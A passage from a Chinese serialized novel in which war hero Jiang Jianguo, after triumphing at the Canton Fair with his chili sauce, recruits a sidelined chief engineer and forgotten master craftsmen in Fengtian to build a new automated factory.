也就在这时,一个穿着中山装的、神情严肃的工作人员,快步挤过人群,走到了正在维持秩序的、商业部李副司长的身边,递上了一份刚刚从北京,通过军用保密线路,传真过来的电报。 李副司长打开电报,只看了一眼,他的手,便猛地一抖! 电报上,只有寥寥数语,却字字,重如泰山。 【发文单位:总政治部,保密档案局。】 【事由:关于一九五八年金门炮战,原73A号档案,补充说明。】 【内容:经查实,原观察员江建国同志,系受命执行‘火种计划’,为我军主力反攻,做出巨大牺牲与贡献。其行为,应定性为……特等功。档案,即日解密。】 【补发:迟到三十年的,一等战斗英雄,勋章。】 李副司长抬起头,用一种前所未有的、混杂着震撼、愧疚与无上崇敬的目光,看向那个,正被掌声与泪水所包围的,孤独的,英雄背影。 他知道,一个时代结束了。 而另一个,属于这个男人的传奇时代,才刚刚,拉开序幕。 那掌声,是雷。 是迟到了三十年的、为一百二十八个忠魂,所鸣响的惊雷。 它劈开了广交会那层充满了商业与功利主义的浮华外壳,将最滚烫、最壮烈的英雄主义,血淋淋地,展现在了所有人的面前。 林晚秋,就在这雷声中,寸寸成灰。 她看着那个被所有人,用一种近乎于朝圣的目光所包围的男人。 她看着他脸上那纵横的泪痕,和他那挺得比山岳更直的、不屈的脊梁。 她那颗用资本、用权谋、用最顶级的精英教育所武装起来的、冰冷而又骄傲的心,第一次,被一种她从未理解、也因此从未战胜过的力量,彻底击碎。 那力量,叫“信念”。 她输了。 输得,连最后一丝体面,都没有剩下。 她想逃。 可她发现,自己的双腿,像是被灌满了铅。 周围那些曾经对她笑脸相迎、阿谀奉承的目光,此刻,都变成了最锋利的刀子,将她所有的伪装,都剥得干干净净。 她感觉自己像一个被扒光了衣服,扔在审判台上的小丑。 也就在这时,一个高大的、带着阴影的身影,挡在了她的面前。 是孟山。 这个曾经的街头霸王,此刻,脸上没有任何表情。 他没有愤怒,也没有嘲讽。 他只是,像一堵沉默的、不可逾越的墙,用他那魁梧的身体,将所有射向林晚秋的、鄙夷的目光,都挡了下来。 “走吧。” 他没有看她,只是,从牙缝里,挤出了这两个字。 林晚秋愣住了。 她不明白,为什么,这个江建国最忠心的走狗,会在这时候,为她解围。 孟山,当然不是在帮她。 他只是,在执行他老板,用眼神,下达的,最后一道命令。 江建国,甚至没有再看林晚秋一眼。 对于这个女人,他所有的恨,所有的怨,都在刚才那个故事里,都随着那碗被泪水浸透的米饭,一起,咽了下去。 他不再需要,亲手,去碾死这只他曾经最疼爱、也最憎恨的蚂蚁。 因为,从此刻起,她将活在一个比死亡,更痛苦的地狱里。 一个被她自己亲手缔造的、充满了鄙夷与唾弃的、无间地狱。 让她走。 让她,带着这份永世无法洗刷的耻辱,体面地,滚出他的世界。 这,才是对她,最残忍的,仁慈。 林晚秋读懂了那份沉默背后的、居高临下的怜悯。 她那张惨白的脸,瞬间涨红,又瞬间褪去所有的血色。 她猛地推开孟山,像一头被彻底激怒的、受伤的野兽,用尽全身的力气,从那片不属于她的、充满了掌声与荣耀的海洋里,狼狈地,逃了出去。 …… 李副司长用一种近乎于颤抖的声音,当众,宣读了那份来自总政治部的、迟到了三十年的电报。 当“一等战斗英雄”这五个字,从他口中说出时。 整个会场,再次沸腾! 如果说,江建国的故事,是一部悲壮的英雄史诗。 那么,这份来自国家最高军事机关的“官方认证”,就是为这部史诗,刻下的,最不容置疑的碑文! 那个来自《明镜周刊》的德国记者,早已在孟山那“不经意”的几次“碰撞”下,悄无声息地,被“请”出了会场。 他所带来的那场阴谋,最终,却变成了一场为英雄正名的、最华丽的序章。 商业,在这一刻,已经变得不再重要。 所有的人,都成了这场“国家荣誉”的见证者。 广交会的主办方,当即做出了一个史无前例的决定将“建国食品厂”这个小小的展位,立刻,搬迁至整个展会中心,最显眼、最核心的“国家样板企业”展区! 而那面写着【沙河·红一号成果鉴定会】的简陋横幅,和赵兴邦那篇特稿,则被连夜制作成最精美的展板,挂在了展区的正中央。 【淑芬酱】,不再是一瓶辣酱。 它成了一枚勋章。 一枚用一百二十八个忠魂的血,用一个英雄三十年的冤屈,共同铸就的国家的勋章。 接下来的两天,成了【淑芬酱】的传奇时刻。 订单,像雪片一样,从世界的每一个角落,飞来。 德国的食品进口商,在亲自向江建国鞠躬道歉后,签下了一份价值百万马克的、欧洲五国的独家代理合同。 他只有一个要求,希望在每一瓶出口到欧洲的【淑芬酱】的包装上,都印上那个关于“火种计划”的、简短的英文故事。 他说:“我的同胞,需要知道,他们品尝的,不仅仅是美味。更是一种,值得我们所有人脱帽致敬的牺牲。” 马来西亚的老华侨,当场,捐出了五十万港币。 他委托江建国,一定要在冀北,为三连那一百二十八位烈士建一座最好的烈士陵园,和他自己的名字,一起刻在那块功德碑上。 甚至,连那个之前一直对中国食品抱有偏见的美国沃尔玛采购团,也破天荒地,向这个名不见经传的乡镇小厂,发出了合作意向。 他们的理由很简单:“我们相信,一个能为了一句承诺而背负三十年冤屈的国家,和这个国家里的人,他们生产出来的东西,一定,拥有全世界最顶级的品质诚信。” 江建国,成了本届广交会上,最耀眼的明星。 可他,却比任何时候,都更沉默。 他拒绝了所有媒体的专访,也谢绝了所有官员的宴请。 他只是,守着那个小小的展位,一遍又一遍地,向每一个前来品尝的客人,讲述着【沙河·红一号】的故事,讲述着沙河镇那些农民的故事。 仿佛,他想用这种最朴素的方式,将那些本该属于他个人的、过于沉重的荣耀,都还给那片,生他养他的土地。 广交会的最后一天,展会闭幕。 江建国,独自一人,坐在空无一人的展位上。 他的脚下,是堆积如山的、来自世界各地的订单。 那上面的数字,是一个他两辈子,都不敢想象的天文数字。 可他的脸上,却没有半分喜悦。 他只是,从那个黑色的人造革提包里,拿出了一样东西。 那是一张泛黄的、一九五八年的,解放军某部炮兵团的集体照。 他用那双布满老茧的手,轻轻地,抚过照片上,那一百多张年轻的、带着笑容的脸。 他的目光,最后,落在了那个站在最中间的、咧着嘴笑得像个傻子一样的、黑脸膛的汉子身上。 “连长……” 他轻声地,对着照片,说道,“我们,赢了。” “你看到了吗?那些洋人,都抢着,要买咱的辣酱呢。他们说,这是世界上,最好的味道。” “我还跟上头提了,等陵园修好了,就把你们所有人的名字,都刻上去。让咱们的后人,都知道,你们是谁,为了什么,躺在了那里。” “只是……” 他的声音,突然,哽咽了,“只是,这庆功的酒,我一个人喝,没滋味啊……” 一滴滚烫的泪,落在泛黄的照片上,晕开了一片模糊的水渍。 英雄,在褪去了所有的光环后,终究,也只是一个会哭、会痛、会想念兄弟的普通人。 孙庆华和赵兴邦,不知何时,走到了他的身后。 他们没有说话,只是,一左一右地,坐在了他的身边。 孙庆华从怀里,摸出了一个军用水壶,拧开,递了过去。 “喝口吧。” 他说,“这是我从北京带来的,最好的,二锅头。” 江建国接过水壶,仰起头,狠狠地,灌了一大口。 那辛辣的液体,像一团火,从他的喉咙,一直,烧到了他的胃里,也烧红了他的眼眶。 “老哥,” 赵兴邦看着他,由衷地说道,“接下来,你有什么打算?” 江建国放下水壶,看着脚下那堆积如山的订单,沉默了许久。 然后,他缓缓地,摇了摇头。 “这些,” 他指着那些订单,声音,沙哑,却无比清醒,“不是胜利的果实。” “这是,另一场战争的,开始。” 他知道,一场胜利,掩盖了无数个新的问题。 他的工厂,他的产能,他的管理,他那支由农民和街头混混组成的草台班子,根本无法支撑起,如此庞大的、来自全球的商业帝国蓝图。 荣耀,有时候,比失败,更像一个甜蜜的、能将人压垮的,陷阱。 他将那张照片小心翼翼地,重新,收回怀里,贴近心脏的位置。 他站起身,看着窗外,那片属于南国都市的、陌生的、充满了机遇与危险的夜景,那双刚刚还浸满泪水的眼睛里,重新,燃起了那股熟悉的、如同野狼般的、永不满足的火焰。 “走。” 他说,“我们回家。” “回去,准备,打一场,比在广交会,更难打的仗。” 第五十八章 订单如雪,英雄的枷锁 荣耀,在回到冀北县那片熟悉的土地时,便迅速地,被严酷的现实,煮成了一锅滚烫的、却又无从下嘴的铁水。 当江建国将那份由商业部李副司长亲自盖章、汇总了广交会所有外销订单的统计表,拍在工厂那张唯一像样的、用三合板搭成的会议桌上时。 整个屋子里,陷入了一种比面对林晚秋的封杀时,更令人窒息的死寂。 孟山,苏秀云,阿虎,疯狗,以及那几个刚刚被提拔起来的、识字的妇人车间主任,全都像看天书一样,看着那张纸。 他们不认识上面的英文,但他们认识那串长得令人心悸的、阿拉伯数字。 “……合计:各类瓶装【淑芬酱】,共计一百七十二万八千瓶。交付日期:第一批次,六十万瓶,三个月内。全部交付,半年内。” 孟山这个天不怕地不怕的汉子,第一次,结巴了。 他伸出那根比胡萝卜还粗的手指,戳了戳那张纸,扭头问江建国:“老……老板,俺没文化,你跟俺说,这……这是多少?” “这是,” 江建国抽了一口烟,缓缓吐出,那烟雾仿佛都带着苦涩的重量,“这是要把我们现在这个厂子,连人带机器,全都榨干了,磨成粉,再乘以十,也完成不了的数量。” “我们现在,一天十二个小时,两班倒,人歇机器不歇,一天最多能生产多少瓶?” 他问苏秀云。 苏秀云的脸,比那统计表还白。 她拿着个小本子,用铅笔算了半天,声音细得像蚊子:“清洗、灌装、贴标、打包……所有工序全算上,一天,顶天了,八百瓶。” 一天八百瓶。 半年,是十八万瓶。 距离一百七十二万瓶的订单,差了,将近十倍。 这已经不是一个可以靠“拼命”和“加班”就能解决的问题了。 这是一个,足以将他们所有人,都压死在“英雄”这个名号之下的,巨大的、绝望的鸿沟。 “那……那就不接了!” 阿虎这个直肠子,一拍桌子,“咱又不是没赢过!咱跟那些洋人说,咱没那么多货!爱要不要!” “蠢货!” 江建国猛地将烟头,摁在桌上,那双刚刚在广交会睥睨群雄的眼睛里,再次燃起了狼一般的凶光,“这不是生意!这是军令状!我们代表的,不是‘建国厂’,我们代表的是国家的脸面!是那一百二十八个兄弟,用命换来的荣誉!我们要是交不出货,丢的,是我们这个国家的脸!这个责任,你担得起吗?我江建国,都担不起!” 屋子里,再次陷入死寂。 所有的人,都像被抽干了力气的公鸡。 他们第一次发现,胜利,有时候,比失败,更像一副沉重的、能将人活活勒死的枷锁。 “那……那怎么办?” 苏秀云的声音里,带上了哭腔。 她刚刚在包装设计上建立起来的自信,被这天文数字般的订单,砸得粉碎。 她感觉自己,又变回了那个只会哭的、无助的小媳妇。 江建国看着自己这支,刚刚打赢了一场不可思议的战争,却又立刻被胜利的果实,逼入绝境的“草台班子”,他沉默了许久。 然后,他笑了。 那笑容里,没有沮丧,没有绝望,只有一种如同赌徒,在看到了一场更大赌局时的、兴奋与疯狂。 “怎么办?” 他站起身,走到那面挂着【沙河·红一号】横幅的墙前,背对着众人,一字一顿地说道,“既然,这个厂子,已经配不上我们这场新的战争。” “那我们就不要它了。” “我们去建一座新的城。” …… 三天后,江建国,再次,独自一人,踏上了北上的火车。 这一次,他的目的地,不是甘肃,而是另一个,他从未涉足过的,工业的“圣地”奉天,也就是后来的沈阳。 在他走之前,商业部的李副司长,给他打了一个半公半私的、充满了暗示的电话。 “建国同志啊,” 李副司长的声音,在电话里依旧和煦,“你的困难,部里都知道了。国家,是不会让英雄流血又流泪的。政策上,资金上,我们都会给你最大的支持。” “但是,” 他话锋一转,“我个人,给你提个醒。你要的,不是钱,也不是地。你要的,是一个能帮你,把一座现代化的‘军工厂’,给凭空造出来的总工程师。” “我们这个国家,不缺人才。但缺的,是那种既懂我们这套‘苏式’的傻大黑粗,又见过西方那套精细化管理,最关键的,是骨头里,还流着跟我们一样的血的怪才。” “我这里,有一个名字。他不是神,也不是仙。他只是一个,被这个时代给忘了的鬼。” 李副司长在电话里,给了江建国一个名字和一个地址。 一个位于奉天铁西区,早已废弃的、前苏联援建的重型机械厂的家属楼地址。 “他叫‘路承舟’。曾经,是那里最年轻的总工程师。后来……你也知道,他这种只认技术不认人的就成了第一批被拍死在沙滩上的。没人敢用他,也没人愿提他。他就守着那堆废铜烂铁,守了快二十年。” “这个人,脾气比茅坑里的石头还臭,架子比天安门的城楼还高。我只能给你指个路,能不能请得动这尊‘鬼’,就看你江建国,自己的本事了。” 江建国,就是揣着这个“鬼”的名字,踏上了这趟名为“寻帅”的,新长征路。 第五十九章 征程,鬼魔联手 奉天,铁西区。 这里,是共和国工业长子的心脏,也像一座,正在缓慢锈蚀的、巨大的钢铁坟场。 空气里,永远弥漫着一股铁锈、煤灰和机油混合的、呛人的味道。 高大的烟囱,像一根根指向天空的、沉默的墓碑,无声地,诉说着这里曾经的、震耳欲聋的辉煌。 江建国按照地址,找到了那栋充满了苏式风格的、墙皮大片剥落的红砖家属楼。 他敲响了“路承舟”的家门。 开门的,是一个约莫五十多岁、头发花白、身形却依旧挺拔如松的男人。 他穿着一身洗得发白的蓝色工装,脸上,戴着一副油污斑斑的眼镜,镜片后面那双眼睛却亮得像两盏探照灯,锐利,审视,充满了对这个世界,长久的、不信任的警惕。 他,就是路承舟。 “你找谁?” 他的声音,和他的人一样,硬,冷,像一块淬了火的钢。 江建国没有说自己是谁,也没有拿出任何介绍信。 他只是,从那个黑色的人造革提包里,拿出了一样东西,递了过去。 那不是钱,也不是烟酒。 那是一张,他让苏秀云连夜画出来的、一张最简陋的、关于他那条“半自动化生产线”的,工艺流程图。 图上,标注着每一个环节,目前所能达到的、最极限的产能数据。 路承舟,只扫了一眼那张图。 然后,他就笑了。 那是一种充满了轻蔑与不屑的、属于一个顶级工匠,在看到一个幼稚园手工作品时的,冷笑。 “一天八百瓶?” 他指着图纸上那个可怜的数字,用一种最刻薄的语气说道,“你管这个,叫‘生产线’?” “在我眼里,这甚至,都算不上一个‘作坊’。这只是一堆,被错误地,组合在了一起的废铁。” 说完,他便“砰”的一声,准备关门。 “路工。” 江建国却开口了,他的声音,平静,沉稳,像一颗投入湖面的石子,精准地,打破了对方的轻蔑,“如果,我给你一块地,给你一笔不受任何限制的资金,再给你,半年的时间。你能不能,帮我,把这个‘废铁’,变成一条,一天能生产三万瓶,不良率低于千分之一的,真正的生产线?” 路承舟那准备关门的手,停住了。 他那双如同探照灯般的眼睛,第一次,正眼,看向了眼前这个,其貌不扬的、浑身土气,眼神却比他这屋里所有零件都亮的,乡下男人。 “你在跟我开玩笑?” 江建国摇了摇头。 他从提包里,拿出了第二样东西。 那是一份由商业部盖章的、厚厚的、全英文的,出口订单合同。 和一张,由赵兴邦帮忙协调的、盖着冀北县政府公章的,关于在县郊,划拨三百亩工业用地的红头文件。 路承舟看着那两份文件,看着上面那串天文数字般的订单,和他做梦都想得到、却求了一辈子都求不来的、一块可以让他自由施展的土地。 他那颗早已被岁月和失望,磨得如同顽石般的心,第一次,狠狠地,跳动了一下。 他看着江建国,沉默了许久。 “为什么,找我?” 他问道,“一个被所有人,当成垃圾一样,扔了二十年的老废物。” 江建国笑了。 “因为,我也是个被人从垃圾堆里,捡回来的老东西。” 他看着路承舟的眼睛,一字一顿地说道:“他们说,你是鬼。正好,他们也说,我是魔。” “我想看看,一个‘鬼’,和一个‘魔’,联起手来,能不能,把这片天,给它,捅出一个全新的窟窿。” 路承舟那双如同探照灯般的眼睛,在江建国那句“鬼魔联手”的狂言中,微微眯了起来。 他眼中的轻蔑,像潮水般退去,取而代之的,是一种更加危险的、如同猎手在审视着一头闯入自己领地的、未知猛兽般的探究。 他没有再试图关门。 他只是,缓缓地,侧过身,用一种“你敢就跟进来”的姿态,让开了门口那条狭窄的通道。 “进来。” 他的声音,依旧硬得像块生铁,“我倒想看看,你这个‘魔’,到底长了几个胆子。” 江建国坦然地,走了进去。 一股浓烈的、独属于这个男人的气息,扑面而来。 那不是家的味道,而是一座沉睡了二十年的、工业巨兽的巢穴的味道。 空气里,混杂着金属的冷香、机油的苦涩、以及无数张图纸上,那陈旧纸张所特有的、尘封的岁月气息。 这间屋子,不像家,更像一座陵墓。 一座活人为自己毕生的、未尽的理想,所修建的陵墓。 客厅里,没有任何沙发或茶几。 取而代之的,是两张用厚重钢板焊接而成的工作台。 墙上,地上,所有能利用的空间,都堆满了各种各样的机械零件、泛黄的德文和俄文专业书籍,以及,一卷又一卷,用牛皮筋仔细捆扎好的、手绘的工程蓝图。 而在屋子最中央,那个本该摆放着饭桌的位置,却用一个巨大的玻璃罩,小心翼翼地,罩着一个模型。 一个按1:50比例,用黄铜、不锈钢和有机玻璃,纯手工打造的、极其精密的、全自动化的罐装辣酱生产线模型! 从玻璃瓶的自动清洗、高温消毒,到辣酱的恒温搅拌、无菌灌装,再到瓶盖的真空旋紧、激光打码、自动贴标,最后到成品的装箱、码垛…… 整个模型,如同一件充满了冰冷美感的、完美的艺术品。 每一个齿轮,每一条传送带,每一个小小的机械臂,都严丝合缝,充满了不容置疑的、属于工业文明的逻辑与力量。 它就在那里,静静地,沉睡着,在昏暗的灯光下,反射着一层忧伤而又骄傲的、微光。 “这就是你说的‘废铁’。” 路承舟没有看江建国,他的目光落在了那个模型上,眼神里,是如同看着自己亲生孩子般的、复杂的情感,“而这个,” 他指着那个模型,“是我二十年前,在牛棚里,用捡来的废铜烂铁和想象力,为这个国家,设计的未来。” 他转过头,看着江建国,那双探照灯般的眼睛,再次变得充满了攻击性。 “现在,轮到你了,‘魔鬼’先生。” 他抱起双臂,像一个最严苛的考官,“你想一天生产三万瓶?好,我问你。一条这样的生产线,峰值功率,需要一千二百千瓦。你们县那个小小的变电站,能给你拉出一条工业专线吗?” “它的核心控制单元,需要恒温、恒湿、无尘的绝对环境。你那片黄土地上,刮一夜的风,就能让它所有的精密轴承,全部报废。你能给我建一个符合西德DIN标准的、十万级的净化车间吗?” “还有,这条线,需要至少二十个,能看懂德文电路图、会用游标卡尺和示波器的,中级以上的技工,来进行日常维护。你上哪儿,给我找这二十个,‘识字的’工人?” 他每问一句,就向前逼近一步。 那股属于一个顶级技术官僚的、强大的专业壁垒,像一座无形的大山,向着江建国,轰然压下! 他要用这种方式,让眼前这个不知天高地厚的乡下人,知难而退。 江建国,没有退。 他甚至,没有去尝试回答任何一个,他根本听不懂的问题。 他只是,缓缓地,走到了那个巨大的玻璃罩前。 他没有看路承舟,只是,看着那个,沉睡了二十年的、完美的模型。 “路工,” 他开口了,声音很轻,却像一颗石子,精准地,投进了路承舟那颗早已冰封的心湖,“它很美。” “美得,像一件……遗物。” 路承舟的身体,猛地一震! “你说什么?” “我说,” 江建国转过身,看着他,那双眼睛里没有半分退缩,只有一种同类之间才能读懂的、深刻的悲悯,“一个天才,如果他的才华,只能停留在图纸上,那他就不是天才,他是个画匠。” “一座工厂,如果它的先进,只能存在于模型里,那它就不是工厂,它是个玩具。” “而一个英雄,如果他的勋章,只能在他死后,才被追授。那枚勋章,就不是荣誉,而是这个世界,欠他的一份,带着血的祭品。” 他看着路承舟的眼睛,一字一顿地说道:“你和我,路工,我们都是一样的。我们都是,被这个时代,欠了一份祭品的人。” “你的祭品,是这座沉睡的工厂。我的祭品,是一百二十八个兄弟的亡魂。” 路承舟,彻底地,被击溃了。 他那身用骄傲和刻薄所伪装的、坚硬的铠甲,被江建国这番同样诛心的话,剥得干干净净。 他踉跄着,后退了一步,一屁股,坐倒在那张堆满了图纸的椅子上。 他摘下眼镜,用那双布满了油污的手,狠狠地,搓了搓自己的脸。 这个像钢铁一样坚硬的男人,那双如同探照灯般的眼睛里,第一次,流露出了一种近乎于孩童般的、巨大的委屈与不甘。 屋子里,陷入了长久的沉默。 许久,路承舟才重新戴上眼镜,抬起头。 他眼中的所有锋芒,都已敛去,只剩下一种看透了世事的、疲惫的平静。 “你赢了。” 他声音沙哑地说道,“说吧,你的条件。” 江建国知道,这个世界上最骄傲的“鬼”,终于,向他,低下了头。 “我的条件,就是你的条件。” 江建国说道,“三百亩地,三百万启动资金,半年时间。我要你把图纸变成现实。” “我要的,不是这些。” 路承舟摇了摇头,他伸出了一根手指,“我要的,是绝对的,不受干涉的,权力。” “从今天起,到工厂建成的那一天。我,路承舟,就是这座新工厂的总设计师,总工程师,总监工。上到厂房的选址、设计、施工,下到每一颗螺丝钉的采购、每一个工人的技术培训,都必须,由我一个人,说了算。” “任何,行政干预,人情关系都不能踏进我的工地一步。” “你能做到吗?” 他死死地,盯着江建国。 “我能。” 江建国毫不犹豫地回答。 “好。” 路承舟又伸出了第二根手指,“我不要你那些农民工。我要人。我要去奉天、去长春、去哈尔滨,去那些早已停产的老厂子里,把那些跟我一样,被这个时代当成废铁扔掉的、真正的老师傅,八级钳工,九级焊工,都给我,一个个地,请回来。” “他们是我的兵。我路承舟,要带着我自己的兵,去打我自己的仗。” “我给你,双倍的工资,三倍的安家费。” 江建国回答得,更快。 路承舟的眼中,终于,燃起了一团火。 他伸出了,第三根,也是最后一根手指。 “最后一条。” 他的声音,变得无比郑重,“这座新工厂,必须,有一个名字。” “它不能叫‘建国厂’,那太土了。” “它必须叫……”他一字一顿,每一个字,都像是在宣读一份,迟到了二十年的,独立宣言。 “【远征】。” “远征机械制造厂。” “我要让所有人都知道,我们这群被遗忘的鬼,从今天起,将重新踏上征途。” 江建国看着眼前这个,终于从坟墓中,重新站起来的,工业之魂。 他咧开嘴,露出了一个最灿烂、也最魔性的笑容。 “好!” 他从自己的提包里,拿出那瓶,他从冀北,一路带过来的,二锅头。 他没有杯子,直接拧开瓶盖,递了过去。 “路总工,” 他改了称呼,“我,江建国,以我身后,那一百二十八个兄弟的亡魂起誓。” “你,为我,铸一座剑鞘。” “我,江建国,就还你一柄,足以,开天辟地的……利剑。” 路承舟接过那瓶酒,看着眼前这个,比他见过的任何一个“大领导”,都更像“魔鬼”的男人。 他仰起头,将那辛辣的、滚烫的液体,狠狠地,灌进了自己的喉咙。 二十年的冰,终于,被这一口烈酒,彻底融化。 他将酒瓶,递还给江建国,那双探照灯般的眼睛里,第一次,露出了属于一个战士的,疯狂的笑意。 “合作愉快。” “魔鬼先生。” 第六十章 招魂,铁锈里的兵团 酒,是魔鬼的洗尘酒。 当那瓶滚烫的二锅头,被两个同样被世界遗弃了二十年的男人一饮而尽时,旧的时代,便被彻底地,关在了那扇吱呀作响的门外。 新的远征,从黎明,就已经开始。 没有半分拖泥带水。 天刚蒙蒙亮,路承舟,这位刚刚从自己的陵墓中苏醒的“鬼”,便已经换上了一身崭新的、仿佛要去参加一场神圣典礼的工装。 他的面前,不再是那个沉睡的模型,而是一张巨大的、铺满了整个工作台的奉天市铁西区工业地图。 地图上,用红色的油性笔,圈出了七个,如同墓碑般的地点。 每一个地点旁,都标注着一个名字,和一个代表着他们最高荣耀的、早已被世人遗忘的数字。 【八级钳工丁建中】【九级焊工‘活阎王’刘福生】【特级车工‘一刀准’钱德禄】…… 这是路承舟的兵团。 一支散落在铁锈与尘埃里,被岁月遗忘的,鬼魂兵团。 “走。” 路承舟没有看江建国,他的手指,点在了第一个名字上,“第一个人,姓丁。当年,我们厂里那台从斯图加特进口的、精度达到千分之三毫米的坐标镗床,主轴坏了。德国人派来的专家,修了半个月,都找不到问题。是他,老丁,用一根缝衣针和半瓶煤油,听了三天三夜,硬是用耳朵,把那根比头发丝还细的裂缝,给听了出来。” “现在,” 路承舟的声音,第一次,带上了一丝自嘲的讥讽,“他在劳动公园门口,修自行车。” 江建国看着地图上那个名字,他仿佛能看见,一双曾能抚摸精密仪器的、世界上最稳定的手,此刻,正沾满了油污,在为一辆快要散架的永久牌自行车,校正着一根弯曲的辐条。 这,不是浪费。 这是犯罪。 “走。” 江建国只说了一个字。 两人一前一后,走进了铁西区那迷宫般的、充满了工业时代末日气息的深处。 高大的红砖厂房,像一头头死去多年的、红色的巨兽,沉默的骨架,在清晨的薄雾中,投下巨大的、悲伤的阴影。 空气里,那股熟悉的、铁锈与煤灰混合的味道,让路承舟的脚步,变得越来越沉重。 而让江建国的眼神,变得越来越明亮。 路承舟看到的是坟墓。 而江建国看到的,是一座座等待着被他招魂的宝藏。 劳动公园门口,自行车修理摊。 一个头发花白,腰背却依旧挺得笔直的老人,正眯着一只眼,将一根细小的铁链,重新卡进飞轮的齿槽里。 他的手,很稳,稳得像一块焊在地面上的花岗岩。 他的每一个动作,都带着一种近乎于偏执的、对“严丝合缝”的追求。 哪怕,他修理的,只是一个价值不超过五毛钱的链条。 他,就是丁建中。 “丁师傅。” 路承舟走上前,声音,硬邦邦的,像是在宣读一份技术手册,“我需要你。跟我走。” 丁建中头也没抬,只是淡淡地“嗯”了一声,继续摆弄着手里的链条。 那姿态,仿佛路承舟,只是一个路边问路的陌生人。 “冀北,建国食品厂下属,远征机械制造厂。” 路承舟继续用他那不带感情的语调说道,“占地三百亩,初期投资三百万。我要建一条国内最先进的、全自动化的罐装食品生产线。从瓶身倒模,到成品码垛,全部实现无人化。我需要一个首席的总装钳工,负责所有核心传动部件的校准与安装。误差,不能超过五丝。” 丁建中手里的动作,停顿了一下。 然后,他抬起头,那双同样浑浊、却又带着一丝看透世事般讥诮的眼睛,扫了一眼路承舟,又扫了一眼他身后那个乡下人模样的江建国。 “路总工,” 他笑了,那笑容,像他手里的铁锈一样,干涩,“二十年了,你还是这副茅坑里石头的臭脾气。” “图纸,画得再漂亮,有什么用?建起来,又有什么用?” 他指了指身后那片沉默的、巨大的工厂坟场,“到头来,还不是一堆,等着生锈的废铁?” 他低下头,重新摆弄起那根链条,声音,轻得像是在自言自语。 “我的手,现在,只配修这些东西了。起码,我修好了它,明天,它还能接着响,还能带着人,往前走。” “我的心,早就锈了。路总工,你走吧。” 路承舟的脸,瞬间,涨成了猪肝色。 他最骄傲的蓝图,最宏伟的设想,在这个他最看重的老伙计面前,被贬得一文不值。 他正要发作,江建国,却上前一步,拦在了他的身前。 江建国没有拿出任何合同或者文件。 他只是,从那个黑色的人造革提包里,拿出了两样东西。 一瓶【淑芬酱】。 和一个白面馒头。 他没有说话,只是拧开瓶盖,用一把干净的小木勺,舀了一勺那殷红如血的辣酱,仔仔细细地,抹在白面馒头雪白的内瓤上。 然后,他将这个馒头,恭恭敬敬地,递到了丁建中的面前。 丁建中愣住了。 “丁师傅,” 江建国开口了,声音沙哑,却无比真诚,“您尝尝。” 丁建中看着那个馒头,看着那个眼神里没有半分轻蔑与算计的男人,他沉默了许久,还是接了过来,默默地,咬了一大口。 那股熟悉的、霸道的、醇厚的味道,瞬间,在他的口腔里,炸裂开来。 那不是一种简单的味道,那是一种,能唤醒一个六十岁男人,所有关于饥饿、关于故乡、关于女人、关于“家”的,最深刻的记忆。 丁建中的眼眶,毫无预兆地,红了。 “路总工他,没跟你说清楚。” 江建国看着他,缓缓地说道,“我们建的,不是一座工厂。我们是在,给这瓶辣酱,安一个家。” “它现在,要去替我们,去跟那些黄头发、蓝眼睛的洋人,打仗了。可它现在,还住在茅草屋里,穿的是打补丁的衣裳。它需要一个,能给它遮风挡雨的、体面的、坚固的家。” “我来找您,丁师傅,不是请您去当一个钳工。” 江建国看着他的眼睛,一字一顿,每一个字,都像一把小锤,轻轻地,却又无比坚定地,敲打在丁建中那颗早已生锈的心上。 “我是来请您,去当这座新工厂的,第一个,老师傅。” “我不要您的力气。我要的是您的手艺,您的规矩,您的眼睛。” “我要请您,把您这双,能听出头发丝裂缝的耳朵,能摸出三丝误差的手,教给我那些傻小子们。” “我给不了您路总工图纸上那些虚无缥缈的未来。我只能给您,三样东西。” 他伸出了一根手指。 “第一,我给不了您工资。我只能,给您‘供奉’。每月五百块,是请您出山的‘养老钱’,跟干活,没关系。” 他又伸出了第二根手指。 “第二,我给不了您职位。新工厂建成之后,总装车间的门口,会立一块碑。碑上,只刻三个字丁建中。我要让每一个走进那间车间的小子,都知道,他们的祖师爷是谁。” 最后,他伸出了第三根手指,也是最重的一根。 “第三,我给不了您荣誉。但等我们打赢了这场仗,我会把用我们自己的生产线,生产出来的第一万瓶【淑芬酱】,亲手,送到您的手里。瓶子上,除了我的名字,苏秀云的名字,还会刻上,您,丁建中,和路总工的名字。” “我要让您的孙子,指着那瓶辣酱,告诉他所有的同学,‘看见没?这玩意儿,是我爷爷,造出来的。’” 丁建中,彻底地,呆住了。 他手里,还拿着那个,只咬了一口的白面馒头。 可他的手,却在剧烈地颤抖。 那滚烫的泪,再也忍不住,从他那布满皱纹的眼角,一颗一颗地,砸落下来,滴在那片,他守护了一辈子的,卑微的尘土里。 供奉。 立碑。 刻名。 这个乡下人,他给的,从来就不是一份工作。 他给的,是一个被时代、被命运,遗弃了整整二十年的老工匠,那份早已被碾碎了的尊严。 丁建中缓缓地,站起身。 他没有说话。 他只是,默默地,走到自己那个破旧的工具箱前,打开,从最底层,拿出了一套,用红绒布,仔仔细细包裹着的、一套德国产的、陈旧却依旧闪着寒光的,老师傅专用的,精密内卡钳。 他用那双布满油污的手,轻轻地,摩挲着那冰冷的、熟悉的工具,像是在抚摸,自己失散了二十年的情人。 然后,他抬起头,看向江建国,那双浑浊的老眼里,重新,燃起了一团,名为“匠魂”的,火焰。 “去刘福生家的时候,” 他声音沙哑地说道,“带上两瓶,最好的,老白干。” “那个老酒鬼,没酒,是叫不醒他心里那头,‘活阎王’的。” 路承舟站在一旁,看着眼前这一幕,他那颗比钢铁还硬的心,被狠狠地,触动了。 他知道,江建国,这个“魔鬼”,他招的不是工匠。 他在招,那散落在铁锈里的,不死的魂。 第六十一章 烈火招魂,阎王归位 如果说丁建中的世界是冰冷的、由千分尺和公差构成的、绝对理性的王国,那么刘福生的世界,就是一座由烈火、汗水和直觉统治的、原始而又暴烈的地狱。 这个“地狱”的入口,在铁西区一家国营大澡堂的背后,一间终年被蒸汽和热浪笼罩的、半地下的锅炉房里。 江建国、路承舟和丁建中三人刚一走近,一股混杂着硫磺、煤灰与潮湿水汽的、令人窒息的热浪,便扑面而来。 推开那扇吱呀作响的铁门,眼前,是一片被炉膛里透出的、暗红色光芒所笼罩的、昏暗的世界。 一个赤裸着上身、只穿着一条沾满油污的工装裤的男人,正背对着他们。 他身形如同一座移动的小山,古铜色的皮肤上,虬结的肌肉,在炉火的映照下,反射着一层油亮的、充满了力量感的光泽。 